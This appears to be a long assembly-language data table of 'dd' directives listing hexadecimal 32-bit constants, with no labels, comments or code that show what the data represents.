dd 0C9BBA389h, 8C7A0F00h, 3168A573h, 0E878BEh, 0DFE79196h
dd 5B18D0CFh, 17B2B700h, 0F96EC1EBh, 3F7477B5h, 7F8039ADh
dd 0BE81838Bh, 0E4001FA2h, 0A73DBCEh, 1CB5134h, 260BA4AFh
dd 0F3EDCCFEh, 817A17A1h, 9ED6ACC2h, 0A0644662h, 2EE7397Bh
dd 0C80707FCh, 9029375Ch, 1247A28Eh, 0D10009E2h, 0F334DBBh
dd 4B2CDE3h, 18A77C52h, 43CCA027h, 0FCB91002h, 0C166F8D0h
dd 0BF109A74h, 0D096E534h, 1AA1CE80h, 2B7E447h, 0D3A024A5h
dd 0B848E7BAh, 51883970h, 13D5482Ch, 0F985EE01h, 60595E43h
dd 0C2001F30h, 12C4CC3Fh, 0CA1B9Bh, 650283DDh, 0D95A8A09h
dd 0EA313B05h, 0D080FB69h, 127D93B8h, 0F2444Ah, 9BD1D4A8h
dd 0D30E887Ch, 0E77EFB8Eh, 0BF60B766h, 3FC585C2h, 0DE9CB2B8h
dd 0DDF38015h, 55AD0BCFh, 0DE62A128h, 64561000h, 1948A342h
dd 589A0C97h, 7A38CA80h, 74DE0B00h, 30CCF746h, 0B3DD1D3Dh
dd 5BC3C1DAh, 0ECA03C53h, 9B770C33h, 0EB55B100h, 1A72655Eh
dd 5C0F0382h, 21D6CD24h, 903CF3F8h, 78FF6801h, 7D515797h
dd 927BBC20h, 953A07B4h, 0C05A82F6h, 35077226h, 0C4AB4C00h
dd 0FB19DBE6h, 6ABC1F4Dh, 966CB5h, 63390480h, 8C02FC85h
dd 76B9278Eh, 2B4EE0A9h, 43B80EEAh, 0F68099F4h, 3A706F5h
dd 33456800h, 73939DA2h, 407E1D3Eh, 0F25800D3h, 0B5A12DADh
dd 0C9025300h, 0CEEB4431h, 0A0D4012Fh, 0DA2E6246h, 3BC2D86h
dd 4AA7E1D9h, 0A2C3F8BBh, 1FD49669h, 874240B4h, 0A69473D1h
dd 567238h, 69E692C2h, 7A63154Bh, 0D0590004h, 2CC5D73Ch
dd 530012C9h, 0EE79F068h, 0B849BF37h, 175CF4F8h, 0CAE074h
dd 35C0ED18h, 0F813C1D9h, 3F00DDA0h, 0D25CC225h, 0BA180EB6h
dd 78C0843Eh, 244B9C1h, 0A50F289Eh, 260A89A0h, 40DC44h
dd 89B730A4h, 0DD9F9E6Fh, 13645959h, 0AE1DFCC2h, 2D691280h
dd 2E4ABF6Eh, 0D48C30h, 2569699h, 2500C334h, 0F545BB3Ah
dd 7CE210Fh, 0EA8AF7CDh, 30E3D9DBh, 497141F7h, 48C030EBh
dd 28270A00h, 43C50F4Ah, 0A9B51E88h, 8A9C80A2h, 4DD83B4Eh
dd 1BE65700h, 0C39BBCD1h, 3068002Fh, 354B127Ch, 83F4A548h
dd 3F34885Ch, 0A0E22E24h, 62CECC03h, 34BAC8B5h, 27AB306Ch
dd 934A50F8h, 72CCBB54h
dd 58A71500h, 0CC972DB6h, 90355451h, 74114D02h, 2670942Ch
dd 0D9890000h, 309AF19Fh, 48EFCA02h, 80BB3470h, 0D64F9C4h
dd 68A00EDAh, 7F81999Ch, 706BBECDh, 3C081A0Ch, 1B60D9h
dd 2DA7B70Ah, 0D505F717h, 0AE71B8B6h, 9ABB6480h, 2B9E0040h
dd 0F00DABBFh, 8B036306h, 98CA3972h, 19F1B818h, 1487293h
dd 900A2CFBh, 403D43B9h, 1C7140A8h, 1462C405h, 0B4A0D82Dh
dd 658800FCh, 90BB58F4h, 0B098A00Dh, 0FAEC9E2Ch, 2C009A13h
dd 92DB1E67h, 6DE40088h, 3BCCDCC1h, 745809C5h, 0DAFF0017h
dd 7956B554h, 18780AD9h, 2A8E5ABh, 5A4F910Fh, 1E973DE0h
dd 7BB05E48h, 0B9E11100h, 3FF2E707h, 286F0E5Bh, 82A064DDh
dd 7D33FCA3h, 0F7AACB03h, 0D8DF5C18h, 0F6EDCDEh, 2CDDF94Bh
dd 86C2BB43h, 2D0940F0h, 9102477Dh, 0E1585A72h, 0DE00D157h
dd 947ADC43h, 91E888C4h, 1D010A01h, 0FEC8EABFh, 0BCD23E28h
dd 4A2ACh, 29684C8Ch, 0A401D8ECh, 0C32F9E3Ah, 646C4EDFh
dd 0A5F1311Ch, 0BC0FFC00h, 46704F08h, 83685Ch, 26D086FCh
dd 1CA028ABh, 309B7F7h, 5C518DB4h, 24614000h, 524BA8F3h
dd 0CC4E0763h, 0C0FFF992h, 0D1262AB5h, 0C5A05700h, 0A31505C1h
dd 366F24A5h, 0E1490453h, 1E6C8031h, 7B0076B1h, 0F1415198h
dd 5F4D96h, 6D10CC13h, 8275ABA8h, 8025E43Ch, 46A5CBBBh
dd 0B36EAC8h, 602D4E77h, 92B90D80h, 0BB004378h, 3E052FE4h
dd 2C9E1CD0h, 805CC6C1h, 0B78013C2h, 0FC7B190Ch, 49B91700h
dd 97B5D422h, 531F12A0h, 50340375h, 1984C9Eh, 51FFF2Dh
dd 0F35FB440h, 0CB957EC0h, 0B6BA44h, 0AC07EC5Fh, 43D9400Fh
dd 4FA46800h, 0A28DDB0h, 71CB3918h, 0C4997000h, 0F8352C1Ch
dd 3F55E800h, 0E9D15BA7h, 0A42D00CCh, 9F21E5A2h, 600041F3h
dd 909684ACh, 0AA2A46h, 7BD21F45h, 0F998034Ah, 80210639h
dd 77625FE0h, 717EFFBh, 4BEE6EBCh, 977F5003h, 0C2006338h
dd 0AAD62AB4h, 0B88F43h, 5426986Ch, 537980DAh, 3F37C1Fh
dd 0D321AC40h, 0F613D1ABh, 898C000Ah, 65560993h, 16FC9241h
dd 593CA3F6h, 0B6500390h, 81076A29h, 8FC4935Fh, 696B18D9h
dd 0F81F421Eh, 720FC200h, 7E64FD49h, 34505ECh, 1BE8BCFh
dd 9A1BE494h, 0D840EAFBh, 0D60022C3h, 38A02111h, 0C83E4Dh
dd 0E6A572B1h, 67CD0966h, 85399500h, 0CC1DF81h, 0F044000Ah
dd 0ADA0159Dh, 540023AEh, 3FE225EFh, 7A6707Bh, 31E8DE7Ch
dd 284280CAh, 9600C44Fh, 1B3C0BB2h, 474AAAh, 93862789h
dd 5C57012h, 7B8BC300h, 0FDE4AD9Bh, 0ECCF0038h, 4239E20Fh
dd 760217ACh, 0B4920333h, 1CFC83B0h, 0A9D10025h, 1E8A8062h
dd 0D9033766h, 49CCA5F4h, 516BB8C3h, 0B0F000Eh, 5E89E672h
dd 9D007040h, 566E2CC7h, 0F7CF96h, 0E0C9A93Ch, 701AE514h
dd 89362200h, 66B20FFBh, 0ED5A0708h, 4018090Ah, 0D9F3EE8h
dd 0F3736A01h, 2275FD51h, 7DFBD0h, 0BF60314Ch, 0D477F430h
dd 27524900h, 87A1E054h, 0C4E90086h, 2124B438h, 220003D8h
dd 3309A71Ah, 77904BC1h, 0F81C00A3h, 9D108ADCh, 8FFA37BCh
dd 130FEF0Eh, 0D679E03Ah, 0BDB83Bh, 69983E65h, 8FDBAADEh
dd 84617D24h, 0DDEE9100h, 0D355Dh, 29D242B6h, 0B37BD196h
dd 40500C00h, 0EA2D8857h, 3C37A97h, 8F4FA669h, 7BAB2FF2h
dd 9F2E48D8h, 0CB56F700h, 0FBE615ACh, 0E2C00076h, 9196DC8Fh
dd 0EC02454Dh, 3158B15Ah, 0D7B0E019h, 0E4970013h, 1FDDA4D9h
dd 5E01A3D6h, 0BA64637h, 81D0F944h, 0F3C0A063h, 0AF9D12F5h
dd 579040C7h, 0C52EED87h, 0D2BFCA16h, 25B8FD00h, 0E6BE5DFDh
dd 6491603Ah, 1318F6BCh, 3E0DD200h, 0F18F812Bh, 42C0078Eh
dd 0D3ABCA02h, 63988B85h, 4000772Fh, 84B28358h, 2E792E8Ch
dd 5C2130h, 3BC8FAB8h, 7300FE9Ch, 0FCC1450Eh, 54B901h
dd 946A97BCh, 434738F1h, 460AE402h, 0C09087D8h, 0DEECE2h
dd 62D17AD4h, 81F62C9Ah, 0EE97300h, 6379B116h, 862B15B2h
dd 4006C856h, 0BE32471Eh, 9E264A00h, 0B281CE59h, 84050148h
dd 0EA17D4C1h, 8FDDE891h, 0DE909D04h, 9FC002F4h, 2CD3A1h
dd 34FAA997h, 5AD90BADh, 423CBA00h, 454AF060h, 15310C04h
dd 97716624h, 18921958h, 6010A221h, 45B30023h, 4C7B9CE5h
dd 52E88CFFh, 8F18C2E8h, 0E7396503h, 30166FBAh, 4559600h
dd 1D00A868h, 78860E06h, 0E8F7AF15h, 4CB8A9h, 583E1330h
dd 24690597h, 32CD53Ah, 0F0ACD0A8h, 2338018Eh, 9974552h
dd 1C59800Eh, 9299F9F5h, 21056FBDh, 70777C05h, 16E2E148h
dd 8056C303h, 0A00ED783h, 18C1D58Ch, 50455A3Eh, 0E8CC3F0Fh
dd 685096h, 0CB6E75C8h, 6B992269h, 3AC43D07h, 0C10A359h
dd 9BCC19Dh, 0D1BACD2Ch, 60BDB480h, 231C093Eh, 8280447Ah
dd 2F259776h, 0AA709567h, 0DF698001h, 0C652F517h, 4ECE40E2h
dd 0EBF6007Ah, 38A1730Ah, 0BA03DE1Ch, 0F0D69282h, 3ED480E1h
dd 0DB130037h, 2BDFC24Dh, 283943FBh, 0E4858FE9h, 0EA53A08Bh
dd 7394262Eh, 12E10051h, 87867FA4h, 39E210D6h, 8480E1Dh
dd 3A954DC0h, 76F5ABh, 8209800Dh, 79F1A6D8h, 4F022D00h
dd 29A970C0h, 967F71h, 0A6BDC303h, 91CEE044h, 6C7B6112h
dd 89ED6700h, 2AC3575Bh, 39B479F9h, 72030BAAh, 1A04344Fh
dd 0A06C09A8h, 7A45CF02h, 48A3E15Bh, 1D9E9F24h, 3EE7E019h
dd 0D5F8C0D1h, 0FE780711h, 707432C2h, 221B4FD3h, 21466B00h
dd 3E8E9352h, 2BA80003h, 10C2BDE3h, 150966BEh, 2013C491h
dd 638B4C0Ch, 0C798005Ch, 0C0235ECBh, 0E677C2ADh, 0B95D1500h
dd 321A9FDh, 2298E8h, 0EC8A60E0h, 0AF76D513h, 0E1939F00h
dd 0E22DF4D8h, 39C758Ch, 51A04F30h, 0C1039DDFh, 0CEFBEB46h
dd 66DEC0CDh, 0A7E207DBh, 605831FAh, 60861C51h, 5D237D3Ch
dd 0D60E0A04h, 0DF8C9462h, 1E04499Ah, 47D58D5Fh, 0F0BD6A1Fh
dd 0CDC6A5A8h, 0CB02EDB8h, 0CE084209h, 0A7D1629Ch, 36D3DA54h
dd 20F1007Dh, 0CCBF8AF9h, 9F07E3D6h, 1B3B9134h, 6A70E420h
dd 0EDC900C7h, 0DF63A30Eh, 50C05AF5h, 0AA131533h, 994F3898h
dd 6B71B600h, 38B83075h, 699A2A00h, 305D1BDh, 0AA5207F9h
dd 0B0465F2Dh, 0E1D28ECDh, 781B5B1Fh, 604D26CEh, 0FADBACAFh
dd 18A26E95h, 620419E0h, 6B07F03Eh, 7CF2A8D9h, 0C30D9480h
dd 25010144h, 0BD2967F8h, 800C71E0h, 0C3196F21h, 0EF985Fh
dd 0CE2CAD01h, 2211C94Ah, 0A64DA51Ch, 2B231AC7h, 0AA630751h
dd 0CD343983h, 0F4E880FFh, 86EBDD8Ah, 0F02F5B28h, 0B6730F21h
dd 69CE37EDh, 0FA8FB038h, 0C1544120h, 31E903A8h, 80D9BAA1h
dd 9A3637B9h, 0FBBFD5h, 1DCBA7B6h, 0BDFA24FDh, 5468EC00h
dd 695D7FF9h, 1B178B5h, 9F86EA9Dh, 70AF1B5Eh, 6300EE28h
dd 31DCC23Ah, 9EB6CFh, 24BC4543h, 34A5B8EDh, 78760200h
dd 2A0AB5E0h, 0FCD3015Bh, 94BEF375h, 9EF8EF9Ch, 44F4DF66h
dd 0F9A47101h, 0E7F6B486h, 170CD420h, 0FB0B36h, 8D562C38h
dd 0A1ECD66h, 877BEB9Bh, 5EF84BBh, 0C9C8C2F0h, 786400EAh
dd 47FABE4h, 6AF211DEh, 0FE333401h, 0D2EE9FE8h, 3B15EDCh
dd 0F39DECA4h, 0BBA2EF85h, 0BC836060h, 0C8C58100h, 0F0BF5855h
dd 0A25B00D5h, 382A92D8h, 880C4F18h, 18D0F2E2h, 7E6C0043h
dd 0C7533E17h, 0A500B235h, 0C6C21C9Ah, 0F662B6B1h, 7086FAA9h
dd 9E743050h, 67026C80h, 9FCA7E00h, 11DBF38h, 0DF80341h
dd 0EF1F2706h, 35FB6007h
dd 2AE06F90h, 0E2123862h, 430A3E28h, 0B6BEA800h, 67C9AAF2h
dd 85C0CD69h, 885899DDh, 0F03DFFB0h, 1153007Bh, 43181A37h
dd 0D76030A6h, 0F7A3A8F0h, 757B002Dh, 6B67E5E9h, 87002E2Ah
dd 816128C8h, 0DC912B90h, 6C0CA260h, 0B8DC87A2h, 0F3F00770h
dd 0D0BEB9AAh, 9B6842F5h, 5F1060F7h, 8CA82801h, 0D6291BFAh
dd 0DBD7C0h, 0BAA4F2CAh, 0E0E9F879h, 53752800h, 0B76A6589h
dd 15233D14h, 0C542A9Ch, 0C9480685h, 8B748600h, 6341CD05h
dd 69C40370h, 51A2CF40h, 28AC9B0h, 0C366500h, 0D8B14C9Eh
dd 6E675ACh, 0CFFE22F5h, 2800180Fh, 55C196C8h, 1D928457h
dd 8CF94Eh, 9D6D72B0h, 600617Eh, 710C17A8h, 0F6232h, 19C978C6h
dd 0E8F97623h, 0FCCD3Bh, 7210DEDDh, 0F79B44h, 0EF910BD6h
dd 6EECBEC6h, 31CDE000h, 0CF873B74h, 0D880F747h, 38F6E2B2h
dd 650CC962h, 681B7006h, 28DF0093h, 0AE49113Bh, 903AFDA7h
dd 5F0D00DBh, 0C11E3FC4h, 89F0C0Eh, 0E109594Ch, 44A421C0h
dd 0C8551Eh, 772AC378h, 59ACE4F9h, 0DF8F2001h, 4B22D823h
dd 918E5888h, 99CD0463h, 0D919570Eh, 999B0093h, 770C0F1Eh
dd 0E4E02019h, 0F73F6DA7h, 0E7B940B7h, 4B1D3817h, 77304731h
dd 2808B064h, 0C0D3AA8Dh, 0C63F19B4h, 0DEFA80F9h, 0DA40EF18h
dd 0E849E481h, 0DF1C181Eh, 9B47105Eh, 0F999C00h, 12D86D38h
dd 0F7537460h, 51583187h, 0CC39309Ah, 0D4ECD3FBh, 0C5248400h
dd 0C9A5959Dh, 6DB70DBFh, 0A8681D1Eh, 30886560h, 0A5118397h
dd 0CD84980Fh, 0FDAC000Ch, 3039783h, 8E8DB592h, 49234E45h
dd 8396032Fh, 40440FBEh, 67888824h, 9B830094h, 0F145AECEh
dd 7600034Eh, 0DAF5DDDFh, 0A81D1873h, 1ED7BAC8h, 23EA92h
dd 0BDF1D3F3h, 671F4E1Ah, 74CEB196h, 6F5F00F0h, 0D3681Bh
dd 0A59B8041h, 2B897FA1h, 26CC7B00h, 66531E65h, 97300745h
dd 609E78C9h, 0E3D309EFh, 0CB73EB00h, 0A050ABC7h, 513429B0h
dd 0BF785504h, 46BD0068h, 587B198Fh, 791E2027h, 0A540B16Ch
dd 0F4624C49h, 4EF51E50h, 63220FBDh, 64804A0Eh, 0FDD04625h
dd 0F56CBC00h, 37807C99h, 97F301FAh, 4B8789E2h, 0D070C920h
dd 4F3F27F4h, 75FE8094h, 0BD47DEAAh, 0A69003BFh, 4BD0812Bh
dd 0F8888EC0h, 0FD45CF00h, 8CA06947h, 9050029h, 0B81B64B7h
dd 4A1C2CB0h, 0A140AA42h, 4B9132CAh, 607A0781h, 0B07E5E11h
dd 2C63F2D4h, 0AC2F8218h, 88311628h, 9D89621Dh, 620A108h
dd 28E25093h, 0E9674418h, 0A044E744h, 40DD6E14h, 0B7203090h
dd 18E54210h, 0DA79EFBAh, 8429C6DFh, 71225151h, 0F9DD32E8h
dd 8E10E629h, 0CE2D886Eh, 88F89A88h, 0A1C43072h, 0F9446F3Fh
dd 33C046D2h, 78BE5029h, 0B55344EBh, 0E3E1CD45h, 114229B9h
dd 41116690h, 0FB4473D3h, 3E8CA8F6h, 8AF40011h, 830E3D15h
dd 583BC804h, 0F63A3BC6h, 0AB19D007h, 0A680257Ah, 0F06F44Dh
dd 30B3F9Ch, 7304060h, 10C0497Dh, 423477A4h, 0FBDE00CCh
dd 2C6950E9h, 0F4002167h, 9D20AA32h, 788EC766h, 0B65001Fh
dd 5612E71Dh, 0F008F7Bh, 19A937AFh, 0CEA8C3h, 49FF9D9Fh
dd 0C867A505h, 733B3500h, 0C74BEFC4h, 0AB301B0h, 3A816E75h
dd 3424201Dh, 151CE900h, 9F62FB03h, 0E5A73D09h, 7F274480h
dd 200F0B92h, 61779400h, 0D0CDA94Bh, 9A7A0054h, 0A3AFB0CFh
dd 5C00A2ACh, 1CD795AAh, 0D346Bh, 270A82E0h, 54587019h
dd 6E457900h, 8B3C7441h, 0B31E1F10h, 0E932408Eh, 2BF2B078h
dd 0D2C40500h, 39FBE177h, 0FE4E00A1h, 0BDC21A07h, 2112F418h
dd 0D803A81Dh, 0C0904A77h, 48FBE225h, 8C40BD88h, 0E1160081h
dd 5E62CA0Eh, 501AE92h, 8F1FAA9h, 0E6C4D986h, 304C0090h
dd 54DB7C1Ah, 7160F6A8h, 0D9FFCCF4h, 145D00DDh, 5E7511C1h
dd 2918DCCBh, 0C2502349h, 98FC0E4Fh, 4545715Dh, 0BAC561h
dd 5E605F7Eh, 9E006D90h, 867CC527h, 77C7D297h, 0A78F00D6h
dd 0AE8EBFB9h, 0E2003C38h, 6AF8C4B5h, 0A0F263h, 3D206CDBh
dd 0D5EFEC9Bh, 96AD9D00h, 363F9A25h, 0A92201C1h, 612D03DDh
dd 318FD084h, 0FA0069B0h, 0A22AB650h, 775CC79Eh, 697C0E25h
dd 866097B0h, 0BBA681FBh, 0B90FD37Fh, 0C0830C0Dh, 6844FFFEh
dd 9D45007Eh, 0D4A0ECEEh, 0B5FAE98Ah, 9066F31Eh, 2320DF87h
dd 2FED1AF1h, 409E6C4h, 8C1C100Fh, 4D9CC368h, 0D0ACD791h
dd 0E095D6B5h, 0EE44CF38h, 66E900B8h, 7CE7AB1Fh, 0E60E8549h
dd 80FDC0C7h, 0E8BBEDF5h, 0D575DEh, 0A2E1D625h, 41AE7B8Eh
dd 6B711E00h, 60756350h, 0B1813AF5h, 245CD830h, 1200C41Dh
dd 39626A37h, 1D4FCFEh, 0C75610B1h, 205D1C7Dh, 4E12786Ah
dd 5C1F95E4h, 243D44C4h, 4400B285h, 42AE8008h, 16BDE416h
dd 407FA366h, 0D865F500h, 5A00C11Dh, 46DDDAF2h, 0A38CB591h
dd 11DFC88Eh, 4C64829h, 8C510B1Eh, 6628F492h, 43391200h
dd 0D116353Fh, 0C8EF2E17h, 0F46B00D1h, 156CAB92h, 56724F1Ch
dd 87200647h, 40883902h, 134A1E48h, 9E50857h, 0B00487Ch
dd 0C7EBDA09h, 731A95A0h, 5BE39500h, 3F4B4E6Bh, 9BE2008Bh
dd 0C1926345h, 821DA336h, 0D600C042h, 205DAE85h, 6B05007Bh
dd 63AB45F7h, 753DD262h, 0A7A7640h, 14F08A1Fh, 236504C1h
dd 0BECC5871h, 8EC90042h, 0E09C87D6h, 62007EEBh, 0E874EFDCh
dd 72D7CBDh, 0D86F79B3h, 0BB0620B1h, 5F600255h, 91044AA2h
dd 0E58800D1h, 1F1F4CCh, 0CA00DF60h, 0ADA8A3Ch, 703F0989h
dd 2F7C00E1h, 0CD349158h, 0A2161B6Ah, 77001213h, 0CAD76706h
dd 0E5210309h, 0D2B90436h, 0F44358A0h, 4E00557Ah, 6829668Ah
dd 9F850FEh, 98C9F15Fh, 0A3EAAF00h, 0DA0408BEh, 0CC1AB057h
dd 9A384FC0h, 0FD9C00ADh, 0E60B779Dh, 68007F43h, 543CB1FCh
dd 280D3FA9h, 0E45E70h, 915D5F45h, 0F5963D4h, 6D35C600h
dd 0D01BF502h, 7EF00D6h, 38B5586Bh, 0FB7369DCh, 4851F600h
dd 0A3769881h, 73DA00D7h, 4A455494h, 0D300DE4Ch, 5D63B056h
dd 9C75B18h, 1C7966BFh, 524B3C21h, 8CA82086h, 5A007672h
dd 7CA9269Ch, 0F5AFE6h, 0D5EE791Fh, 57921549h, 7BABD600h
dd 0D9E0774Bh, 0FD9D00A3h, 0AAEFB188h, 7E07E26Dh, 4C412A24h
dd 9A74A4F0h, 6E90FFh, 61B826A3h, 0C5771CDFh, 0AE3D7EF4h
dd 440D0066h, 4908A715h, 48AD00CCh, 0E5CC856h, 0EF1824F0h
dd 25A05E69h, 0FBFF0003h, 84FE1026h, 9A0220h, 0AE1091EEh
dd 2101B2B7h, 988FCE2Bh, 0C5FDD002h, 0C6900300h, 0DB8DB6EDh
dd 969F02E6h, 25E9A662h, 2BB8F840h, 0F45249h, 0D9EDF15Bh
dd 50CB5DAFh, 4EC0C7h, 6601809h, 19341E76h, 302D4A03h
dd 84EBDBF2h, 0B14094C7h, 0F02FBDDh, 0E60C5284h, 20ADF6A0h
dd 3E07972Fh, 869C1DF3h, 36B6E850h, 47F70003h, 0B949254Bh
dd 4800F292h, 0B83C0AD9h, 0CA0677h, 21B276A8h, 94AF96D3h
dd 32BF560Eh, 0C560A09Bh, 8124E5h, 66E49D02h, 27E3C349h
dd 0EDFCE800h, 4B1B31A0h, 3E980075h, 0F7D8C265h, 9000B6A9h
dd 815D413Ch, 0D7DF10h, 38C8155Bh, 0FA6CA10Ch, 4DB82B16h
dd 0FF934F02h, 0F9F78055h, 37CDB5Bh, 0BD440B56h, 48A03D4Eh
dd 6700B795h, 0DFF373E1h, 0B144D49h, 195C0113h, 68DDEC00h
dd 0B9E8A727h, 0D6A0261Eh, 2BF1F00h, 0B47529h, 4A63DB2Fh
dd 1577C9D9h, 76659300h, 0B027780Bh, 23A10E2Eh, 0D440E3B1h
dd 356080DEh, 0F3E0D09Ah, 0D8629A28h, 54D97000h, 42796546h
dd 0F76058E0h
dd 8FDEA00Eh, 7F34F3E0h, 0C501F191h, 0D7CA988Dh, 0DBE080F6h
dd 3E583C5Fh, 9E743D0Fh, 0FA7700BEh, 0FBB38762h, 0B2833507h
dd 0FDE006EEh, 1040F15h, 0D4EFCF4Bh, 70B72A1Fh, 0F3017A00h
dd 0F1BBE9DAh, 91FBEB6Ch, 5020AF87h, 0D3D90490h, 873A76A2h
dd 0BA3920DDh, 24001D59h, 4D674029h, 0A3D592h, 0D402F4B7h
dd 53A9DC98h, 0AC6BDA04h, 55C0D1A0h, 0ECED5C2Dh, 0D9F10071h
dd 0C8635408h, 0BB00B946h, 196DBCADh, 1EFD0B3Ah, 6CC3B4F0h
dd 0E78100E4h, 7F69B2D7h, 1900257Ch, 73D80756h, 505D6F4Fh
dd 0EB86Ah, 62A50339h, 0D3C4572Bh, 9C45DE00h, 0E56121F2h
dd 0DF390077h, 0FC7218D8h, 0E300867Bh, 17335894h, 483DE7CAh
dd 4C0CCF1h, 6030B4C2h, 8C0A17F0h, 0C8B82F43h, 56B21683h
dd 4959A109h, 0C07057D1h, 1B2D1F42h, 9E121D83h, 2207FC30h
dd 0E0A23680h, 6A58726Fh, 0B36DE71Ch, 5C70E684h, 8E695FC0h
dd 0C8D750FEh, 22B8057Ch, 80A1FA0Eh, 0BA1BFF88h, 4F5E6C05h
dd 0CCC05292h, 3F964CDBh, 0CF80AB24h, 0E97F9B7Dh, 3C00CD0Ch
dd 49F566A5h, 0FEE7B392h, 0A4770072h, 2A6F7EDAh, 5000B9F2h
dd 524F79F5h, 546441h, 0B3512D4Bh, 1D615690h, 0A7588F00h
dd 400D7E43h, 2419004Ch, 7213F40Eh, 280652A2h, 11550F3Bh
dd 2A7C0010h, 0DEECD564h, 171C71FBh, 0B8800534h, 9B41D830h
dd 0F4D71FEh, 28662970h, 77C0440Eh, 0B0169809h, 1B5BAC2Eh
dd 0CE256D00h, 10CC868h, 0A3AA54BFh, 405CE08Eh, 600D5EB8h
dd 0EC5D7100h, 0B467015h, 554A0058h, 5B350975h, 0BE0740DDh
dd 1FF4B856h, 7BFBDAD0h, 0EA02004Dh, 3105E075h, 84E08178h
dd 9F65108h, 0AA5E319Dh, 0A58024B6h, 27748300h, 0FB820175h
dd 35D00407h, 0F08DBF59h, 0F1030674h, 4BCE91Ch, 237BB039h
dd 613400ABh, 17AAAE8Bh, 10003564h, 6AD463E7h, 3B5F2AECh
dd 0A61F1957h, 1D13D36Bh, 0C85628h, 0E769EBA4h, 155AAB0Dh
dd 8A0FDF00h, 1EC7419Ah, 0C245977Eh, 36245486h, 574BC40h
dd 0A1902D72h, 484D38h, 43BA6ECh, 26ABEEh, 1915F8C4h, 0F0985D79h
dd 270330B8h, 0A2D24091h, 970FE0ABh, 83AF04E5h, 82FCE415h
dd 69603CD4h, 0F300BF85h, 0A58D6DE8h, 0C9781Fh, 558EF699h
dd 7B18219Ah, 3A0048EAh, 1DF824A4h, 6305375h, 919E68A2h
dd 0E000201Ah, 0FF33E111h, 3B08FE64h, 0F08005B1h, 8A24B473h
dd 4C0078BDh, 21A0B67Ch, 38E4A8D5h, 12005657h, 0AD7A470Fh
dd 7D00989Ah, 55A93607h, 282D9F4Ch, 0C6F9A3h, 0A8049EE3h
dd 0AAFE7E5Eh, 802ACCA0h, 9C05864Bh, 7480282Ch, 319C57h
dd 67E6C8DEh, 0A23DC497h, 0B7F10500h, 39A4E408h, 87E89971h
dd 4FB3CDAEh, 0C4C8C37Ch, 76C03685h, 0AF0089DCh, 5DEEC14Fh
dd 0FBF8F7h, 0CA1DA2E4h, 2E98F01h, 0BEF32A0Bh, 0A442807Ch
dd 82CF91h, 8E76276Bh, 0BF95C471h, 0C8C5B70Fh, 0E1CF5FF7h
dd 0EE1B8777h, 0EF7D6B70h, 2A5F0081h, 0E7E4D64Ah, 2C723C6Fh
dd 9306B976h, 29D1BE4Eh, 1AB7010h, 0B29DF3D7h, 0D444CAD4h
dd 0D93F4F8Eh, 2C8500EFh, 0E676D5E3h, 91C00B7h, 0CC012452h
dd 420105DAh, 0F87327DCh, 17309764h, 0F0DB2E2Ah, 6570068h
dd 0B636D06Ah, 2F00B770h, 0CF3439C2h, 482D0785h, 0B000956Eh
dd 0B87D4EE7h, 0BD0046DFh, 81F562DAh, 0F24F6E6Fh, 47673C49h
dd 0A64EF800h, 7FD9AC1h, 174C761Fh, 2DB72400h, 0A338F3h
dd 3D73EDCAh, 60EB8320h, 47024B72h, 8169E251h, 53E8E81Ah
dd 0C486009Eh, 0C2FF41FDh, 600D9F9h, 88F3D0D6h, 0F84C62F2h
dd 653A0044h, 5B82B148h, 0F600FEA5h, 0FCA0E757h, 1F622F5Ch
dd 40308510h, 0A6EB5F20h, 0BB037D63h, 0ADDBA7F3h, 0F60288E2h
dd 6DB60327h, 0B1FA11C0h, 0BA0BB5C0h, 94C66618h, 813291h
dd 318A3CCBh, 547E3D0Ah, 6B537213h, 21A4CC0Eh, 62AB8126h
dd 8F8B1080h, 6BAD139Ch, 5BC2390Ch, 6CF1866h, 54404D6Dh
dd 0B6005891h, 5BF23E7h, 6FA7A4h, 0C48D04E8h, 5BC03D4Ch
dd 28C092F4h, 0AD0AE3ABh, 0A1FC0030h, 3FA95A6Ah, 6C0047C3h
dd 0C89D10F4h, 1DD55DD7h, 0EEDEFF5h, 0DB40B635h, 5F3715DDh
dd 7AD1E63Bh, 0B0D33100h, 7C128EB7h, 1DA19826h, 0BC9A4E9h
dd 0A0009983h, 2FA20ECCh, 0C45F4900h, 9C964FDDh, 0FCBBB0E6h
dd 0BB3C0286h, 13EE0F33h, 0A2072478h, 791D14E1h, 839411F1h
dd 7F99FCh, 0BC406D7h, 8A5E6119h, 80D47907h, 0E301F411h
dd 189FBEBAh, 20844089h, 265F8FA2h, 591BC100h, 0BC962B02h
dd 2A060051h, 60E45862h, 6E1C7273h, 0B300F8EEh, 0A191461Ah
dd 0C8621698h, 1444C064h, 1F002822h, 88A349EEh, 0F4AB96h
dd 59CC4FD7h, 0DDD58A25h, 0E003E8FEh, 0CE854CE5h, 0D7F88052h
dd 8121CCDh, 0D6B2065Bh, 472050BAh, 4E53F223h, 7EA4401Eh
dd 0ECB86C3Ah, 94EAB178h, 0BFAD9616h, 0E4000C5Ch, 3ADD400Ah
dd 9F7C0125h, 85635BAh, 47A824F0h, 50370A00h, 90DDA967h
dd 9E38C0F6h, 3F052F6Bh, 9A466200h, 4E07FD0h, 44924Eh
dd 0EBD98378h, 1F038DB3h, 5E0064B4h, 0F66869DAh, 12727DA7h
dd 730EA96h, 0D0FAC954h, 0B149E760h, 838FB600h, 9C0EED42h
dd 0DE350FC1h, 3A6E973Bh, 44C3A960h, 0D85C5727h, 91860714h
dd 1420477Eh, 1E947B76h, 7AD53D04h, 402A3E80h, 4FF86183h
dd 0D6E5BE00h, 66A2188Bh, 0EAD200ADh, 0C69F633Ch, 0C00FEAAh
dd 0F2424145h, 0C866057h, 26C00527h, 13BE429h, 61AD8151h
dd 7F10C590h, 14099030h, 8C185599h, 1196516h, 0AC9BF76Ah
dd 213EE0EAh, 82AA4800h, 84CC70B9h, 9060BF1Bh, 7101259Ah
dd 0F776D07Dh, 0E8605FCEh, 0B8691493h, 4600FB2Fh, 3B2AB64Eh
dd 0DE263F59h, 11800E77h, 1E0D07E9h, 0D4701EE4h, 97B5407Bh
dd 0A8DAC109h, 3CE91500h, 0E012C476h, 374C7545h, 0C0B85BA4h
dd 0C0B4AF82h, 0F43C6273h, 0E6B08072h, 79261EA0h, 0C6600A8h
dd 0E22ADDFBh, 77B07258h, 0B3435E1Ch, 0CE7FA143h, 0AC600019h
dd 80A9D9B6h, 10968D2Ch, 0A4F37B0Ch, 0C27F1C60h, 7EDF9Eh
dd 0E036A715h, 8798AA33h, 505C1131h, 81F40399h, 0E80103B1h
